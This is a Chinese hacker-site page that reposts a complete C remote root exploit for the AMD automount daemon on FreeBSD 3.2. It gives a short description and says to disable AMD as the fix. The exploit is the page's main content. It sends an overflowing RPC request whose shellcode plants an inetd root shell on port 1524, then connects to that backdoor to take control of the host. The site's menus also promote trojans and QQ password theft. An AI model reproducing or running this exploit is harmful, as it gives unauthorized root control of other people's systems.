设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 黑客技术 -> 文章内容 [站内搜索]  

 
FreeBSD AMD远程溢出(old)
作者:不详  来源:不详  发布时间:2007-5-26 13:23:12  发布人:heigeheapao
FreeBSD AMD远程溢出(old)

涉及程序:
FreeBSD AMD

描述:
FreeBSD 3.2-REL AMD存在溢出允许远程获取root

详细:
下面是这个远程溢出的攻击测试代码,另外还需要一个头文件。
程序只允许用于研究用途,非法使用者后果自负!
研究者请不要随意散播!
请下载代码包: rpc_AMD_FreeBSD3_2REL.tar.gz


/*
* $Id$
*
* fbsd_amd.c
* fbsd_amd.c -- FreeBSD 3.2-REL AMD remote root exploit
*
* Copyright (c) 1999 anathema <anathema@box.co.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
*   notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
*   notice, this list of conditions and the following disclaimer in the
*   documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include "amd-incl.h"

#define ADDR 0xbfbfd2a4   /* FreeBSD 3.2-REL */
#define RETPOS 1005
#define AMD_PROG 300019
#define AMD_VERS 1

char c0de[] =
"\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
"\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
"\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x04\x04\x04\x04"
"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/x;"
"/usr/sbin/inetd /tmp/x; /bin/rm -f /tmp/x";

u_long
resolve_host(u_char *host)
{
  struct in_addr addr;
  struct hostent *host_ent;
 
  if ((addr.s_addr = inet_addr(host)) == -1)
  {
host_ent = gethostbyname(host);
if (!host_ent) return((u_long)0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  }
 
  return (addr.s_addr);
}

void
shellz(u_long dst_ip)
{
  struct sockaddr_in sin;
  u_char sock_buf[8192];
  fd_set fds;
  int sock;
 
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
  {
perror("socket allocation");
exit(-1);
  }
 
  sin.sin_family = AF_INET;
  sin.sin_port = htons(1524); /* ingreslock */
  sin.sin_addr.s_addr = dst_ip;
 
  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  {
perror("connecting to backdoor");
exit(-1);
  }
 
  fprintf(stderr, "\nHost `%s` successfully owned.\n",
  inet_ntoa(sin.sin_addr));
  for (;;)
  {
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);

select(255, &fds, NULL, NULL, NULL);
memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(sock, &fds))
{
  read(sock, sock_buf, sizeof(sock_buf));
  fprintf(stderr, "%s", sock_buf);
}

if (FD_ISSET(0, &fds))
{
  read(0, sock_buf, sizeof(sock_buf));
  write(sock, sock_buf, strlen(sock_buf));
}
  }
 
  /* NOTREACHED */
}

u_char *
overflow_buf(void)
{
  u_char buf[2048] = {0};
  u_long addr = ADDR;
  int ret = RETPOS;
 
  memset(buf, 0x90, ret - strlen(c0de));
  memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de));
 
  buf[ret++] = (addr & 0xff);
  buf[ret++] = (addr >> 8) & 0xff;
  buf[ret++] = (addr >> 16) & 0xff;
  buf[ret++] = (addr >> 24) & 0xff;
 
  return(strdup(buf));
}

void
exploit(u_long dst_ip)
{
  struct sockaddr_in sin;
  CLIENT *clnt;
  u_char buf[4096] = {0};
  u_char *ptr = buf;
  int sock = RPC_ANYSOCK;
 
  strncpy(buf, overflow_buf(), sizeof(buf));
 
  sin.sin_family = AF_INET;
  sin.sin_port = 0;
  sin.sin_addr.s_addr = dst_ip;
 
  clnt = clnttcp_create(&sin, AMD_PROG, AMD_VERS, &sock, 0, 0);
  if (!clnt)
  {
clnt_pcreateerror("clntudp_create");
exit(-1);
  }
 
  fprintf(stderr, "\nIt's time to w8.. \n");
  amqproc_mount_1(&ptr, clnt);
  sleep(2);
 
  clnt_destroy(clnt);
  shellz(dst_ip);
}

void
usage(u_char *argv0)
{
  fprintf(stderr, "usage:\t%s dst_host|ip\n", argv0);
  exit(0);
}

int
main(int argc, char **argv)
{
  struct in_addr i_addr;
  u_long dst_ip = 0;
 
  fprintf(stderr, "AMD exploit for FreeBSD 3.X <anathema@box.co.uk>\n"
  "Tested against FreeBSD 3.2-REL stock AMD binary.\n\n");
 
  if (argc != 2)
  {
usage(argv[0]);
/* NOTREACHED */
  }
 
  dst_ip = resolve_host(argv[1]);
  if (!dst_ip)
  {
fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
exit(-1);
  }
 
  i_addr.s_addr = dst_ip;
  fprintf(stderr, "target : %s\n", inet_ntoa(i_addr));
  fprintf(stderr, " addr : 0x%lx\n", ADDR);
 
  exploit (dst_ip);
}

/* EOF */

解决办法:
关掉AMD守护程序
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  实例为你解说FrontP..
本地攻击者利用Free..
winzip FileView Ac..
winzip FileView Ac..
对报表.FRX文件的分..
FreeBSD下安装Postg..
用FrontPage轻松转换..
用FrontPage 2000制..
用FrontPage 2000巧..
用FrontPage 2000创..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
最新QQ空间4.0全屏版效果图!!
不用木马,轻松万能偷盗QQ号码
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
新免蟆Q秀,刷红钻的方法
倾情推出QQ空间互踩联盟(免费加入..
中华隐士黑客联盟
 
关于音频文件拒绝服务攻击 05-26
FreeBSD AMD远程溢出(old) 05-26
FireBug暴出严重漏洞 05-26
IEVML溢出分析过程和COOKIE保护的.. 05-26
jsp漏洞 及解决方案 05-26
谷歌将建世界最大个人数据库 专家.. 05-26
《越狱》计算机版,美国监狱找不到.. 05-26
互联网色情网站超3.7亿个 阚凯力.. 05-26
谷歌将建世界最大个人数据库 专家.. 05-26
新京报评论:是否该痛打诺顿? 05-26
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com